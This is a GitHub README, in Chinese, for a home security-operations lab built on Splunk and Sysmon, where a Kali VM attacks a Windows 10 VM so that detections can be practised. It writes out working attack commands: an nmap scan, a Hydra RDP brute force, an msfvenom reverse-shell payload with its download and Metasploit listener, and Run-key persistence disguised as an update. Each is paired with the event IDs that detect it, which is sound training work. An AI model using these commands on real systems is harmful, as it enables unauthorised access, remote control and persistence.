layshatem5-bit/Home-SOC-Lab-1

GitHub: layshatem5-bit/Home-SOC-Lab-1

该项目搭建了一套基于 Splunk SIEM 的家庭安全运营实验室,通过模拟真实攻击场景来演练和验证安全事件的检测与分析能力。

Stars: 0 | Forks: 0

# 🛡️ 家庭 SOC 实验室 — Splunk SIEM 检测实验室 ## 架构 ``` ┌─────────────────────────────────────────────────────────────────┐ │ VMware NAT Network │ │ 192.168.205.0/24 │ │ │ │ ┌──────────────┐ attack ┌───────────────────────┐ │ │ │ Kali Linux │ ─────────────► │ Windows 10 Pro x64 │ │ │ │ (Attacker) │ │ (Victim) │ │ │ │192.168.205.128│ │ 192.168.205.131 │ │ │ └──────────────┘ │ Sysmon + SUF installed│ │ │ └──────────┬────────────┘ │ │ │ logs (9997) │ │ ▼ │ │ ┌──────────────────────┐ │ │ │ Ubuntu Server │ │ │ │ Splunk Enterprise │ │ │ │ :8000 (Web UI) │ │ │ │ :9997 (Forwarder) │ │ │ └──────────────────────┘ │ └─────────────────────────────────────────────────────────────────┘ ``` ## 实验室要求 | 组件 | 规格 | |---|---| | **RAM** | 8–16 GB(推荐 16 GB) | | **CPU** | Intel i5 / i7 或同等规格 | | **存储** | 50 GB+ 可用空间 | | **Hypervisor** | VMware Workstation / Player | ### 虚拟机 | 虚拟机 | 操作系统 | 角色 | IP | |---|---|---|---| | Attacker | Kali Linux | 攻击机 | 192.168.205.128 | | Victim | Windows 10 Pro x64 | 目标机 | 192.168.205.131 | | SIEM | Ubuntu Server | Splunk Enterprise | 动态 (NAT) | ## 设置摘要 ### 在 Victim (Windows 10) 上 1. **安装 Sysmon** — 相当于“监控摄像头”,将详细的系统事件记录到 Windows 事件日志中 2. **配置 `inputs.conf`** — 告诉 Splunk Forwarder 要收集哪些内容: ``` # 路径: C:\Program Files\SplunkUniversalForwarder\etc\system\local\inputs.conf [WinEventLog://Microsoft-Windows-Sysmon/Operational] index = sysmon disabled = 0 ``` 3. **安装 Splunk Universal Forwarder** — 相当于“邮递员”,负责将日志发送到 Splunk 服务器 4. 通过 `Services.msc` (`Win+R`) 授予 Forwarder **管理员权限** ### 在 SIEM (Ubuntu) 上 1. 安装 **Splunk Enterprise** 2. 从 Apps 市场安装 **Splunk Add-on for Sysmon** 3. 在端口 `9997` 上启用接收功能 4. 使用 `index=sysmon` 进行搜索,以验证日志是否正在传入 ## 攻击场景 ### 1. 🔍 侦察 — 端口扫描 **工具:** `nmap` ``` nmap -sS -T4 -Pn --top-ports 1000 -sV 192.168.205.131 ``` **参数解析:** | 标志 | 含义 | |---|---| | `-sS` | SYN 隐蔽扫描(半开扫描,更难被检测) | | `-T4` | 快速时间模板 | | `-Pn` | 跳过 Ping(假设主机在线) | | `--top-ports 1000` | 扫描最常见的 1000 个端口 | | `-sV` | 检测服务版本 | **发现结果:** ``` PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_7.7 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server Microsoft Terminal Services ``` ### 2. 🔑 暴力破解 — RDP (Hydra) **工具:** `hydra` ``` hydra -L users.txt -P pass.txt rdp://192.168.205.131 -t 1 -W 1 -V -f ``` **找到凭证后 — RDP 访问:** ``` xfreerdp /v:192.168.205.131 /u:put-the-username-that-you-found-from-hydra /p:put-the-password-that-you-found-from-hydra /dynamic-resolution +clipboard ``` **Detection_1:** 查找 **Event ID 4625**(登录失败)(在 splunk 中搜索此项) **Detection_2:** 查找 **Event ID 4624**(登录成功)的激增(在 splunk 中搜索此项) ### 3. 💀 反向 Shell — msfvenom + Metasploit **第一步:在 Kali 上生成恶意软件** ``` msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.205.128 LPORT=4444 -f exe > malware.exe ``` **第二步:通过 HTTP 提供服务** ``` python3 -m http.server 80 ``` **第三步:通过 PowerShell 投递到受害者机器** ``` Invoke-WebRequest -Uri "http://192.168.205.128/malware.exe" -OutFile "C:\Users\laith\Desktop\updater.exe" ``` **第四步:使用 Metasploit 监听** ``` msfconsole use exploit/multi/handler set payload windows/x64/shell_reverse_tcp set LHOST 192.168.205.128 set LPORT 4444 exploit ``` 然后我的 Kali Linux 上就会打开一个反向 shell! **检测:** Event ID 5156 — WFP 允许在异常端口 (4444) 上的连接 ### 4. 🔒 持久化 — 注册表 Run 键 在受害者机器上打开反向 shell 后,我们输入以下内容: ``` reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityUpdate" /t REG_SZ /d "C:\Users\laith\Desktop\updater.exe" /f ``` **检测:** Event ID 13 (Sysmon) — 在 `Run` 键下设置了注册表值 ## SPL 查询 有关所有检测查询,请参阅 SPL-Queries 文件夹: ## 遇到的挑战 | # | 挑战 | 解决方案 | |---|---|---| | 1 | VMware 网络配置 | 对所有虚拟机使用 NAT 模式 | | 2 | Ubuntu 重启时 IP 不断变化 | 每次手动更新 Splunk Forwarder 配置和浏览器 URL | 或将 ubuntu 设置为静态 IP 地址 | 3 | Sysmon `inputs.conf` 不起作用 | 下载正确的 `inputs.conf`,将其放入 `Local` 文件夹中,并添加正确的 `[WinEventLog]` 节 | | 4 | Splunk Forwarder 权限 | 通过 `services.msc` 将服务设置为以管理员身份运行 | ## 工具与技术 ![Splunk] ![Kali Linux] ![Windows] ![VMware] *作为个人 SOC 分析师学习之旅的一部分而构建。所有攻击均在隔离的实验室环境中进行。*
标签:CTI, 安全实验室, 安全运营, 扫描框架, 插件系统, 虚拟化